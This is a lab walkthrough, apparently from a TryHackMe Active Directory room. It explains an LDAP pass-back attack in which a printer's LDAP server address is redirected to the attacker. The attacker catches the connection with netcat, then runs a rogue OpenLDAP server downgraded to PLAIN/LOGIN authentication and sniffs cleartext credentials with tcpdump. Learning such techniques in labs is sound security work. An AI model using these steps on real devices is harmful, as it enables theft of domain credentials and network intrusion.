A LDAP pass-back attack is a vulnerability that can occur when an LDAP server is improperly configured to delegate authentication to another LDAP server.
LDAP Pass-back attacks occur when a person gains access to the configuration settings of a device where the LDAP (Lightweight Directory Access Protocol) information is specified. An example of such a device is a network printer with a web interface. Typically, the login information for these device interfaces is left as the default values, like “admin:admin” or “admin:password”. In this case, the LDAP credentials cannot be directly obtained as the password is usually hidden.
In an LDAP Pass-back attack, the attacker changes the IP address or hostname of the LDAP server in the device’s configuration. The attacker sets this information to their own IP and tests the configuration. This causes the device to make an authentication attempt using LDAP to the attacker’s fake device. The attacker intercepts this attempt and obtains the LDAP credentials.
Attack scenario
Let’s consider a scenario where a network printer has a web page without any administrative login. There is a section on the page where the username and password information is already preset, with only the username being visible and the password hidden, and a server option with a default IP address.
The user has the option to change the server information and update the settings by pressing an update button. Once the update button is pressed, “an authentication request is sent to the domain controller to validate the preset LDAP credentials”.
Let’s exploit this:
Alter the server IP address to your own IP then initiate your netcat listener on port 389 for LDAP finally click the update button.
It will show like this when you get connection back.
┌──(arun㉿kali)-[~/AD/AD-THM-Rooms/breachingad]
└─$ nc -lvp 389
listening on [any] 389 ...
10.200.25.201: inverse host lookup failed: Unknown host
connect to [10.50.23.54] from (UNKNOWN) [10.200.25.201] 62165
0�Dc�;
x�
objectclass0�supportedCapabilities
Set up Rogue LDAP Server
Now, we need to set up a rogue LDAP server to capture the credentials.
To install the slapd and LDAP-utils.
sudo apt-get update && sudo apt-get -y install slapd ldap-utils
Set any administrator password.
Next, Start configure the domain
dpkg-reconfigure -p low slapd
1. Omit OpenLDAP server configuration? No
2. DNS domain name: (AD domain name) i.e. testdomain.com
3. Organization name: (AD domain name) i.e. testdomain.com
4. Confrim with you administrator passwd which done by initial configuration.
5. Do you want the database to be removed when slapd is purged? No
6. Move old database files before creating a new database YES
sudo systemctl enable slapd
sudo systemctl start slapd
In order to obtain the clear-text credentials, we must reconfigure our LDAP server to only support the PLAIN and LOGIN authentication methods. To do this, we need to create a new LDIF file with the following information:
#olcSaslSecProps.ldif
dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred
olcSaslSecProps: specifies the SASL security properties; noanonymous flag disables mechanisms that support anonymous login.
minssf: specifies the minimum acceptable security strength; 0 is for no protection.
Apply the new changes using the ldapmodify command and restart the LDAP server.
sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart
To verify the modification:
ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms
dn:
supportedSASLMechanisms: PLAIN
supportedSASLMechanisms: LOGIN
Change the server ip on printer webpage then start, Check the following error: “This distinguished name contains invalid syntax”. If you receive this error, then use a tcpdump to capture the credentials.
sudo tcpdump -SX -i breachad tcp port 389
Fully examine the tcpdump results and search for the password, which should be present in plaintext.
Thank you! keep learning 😉
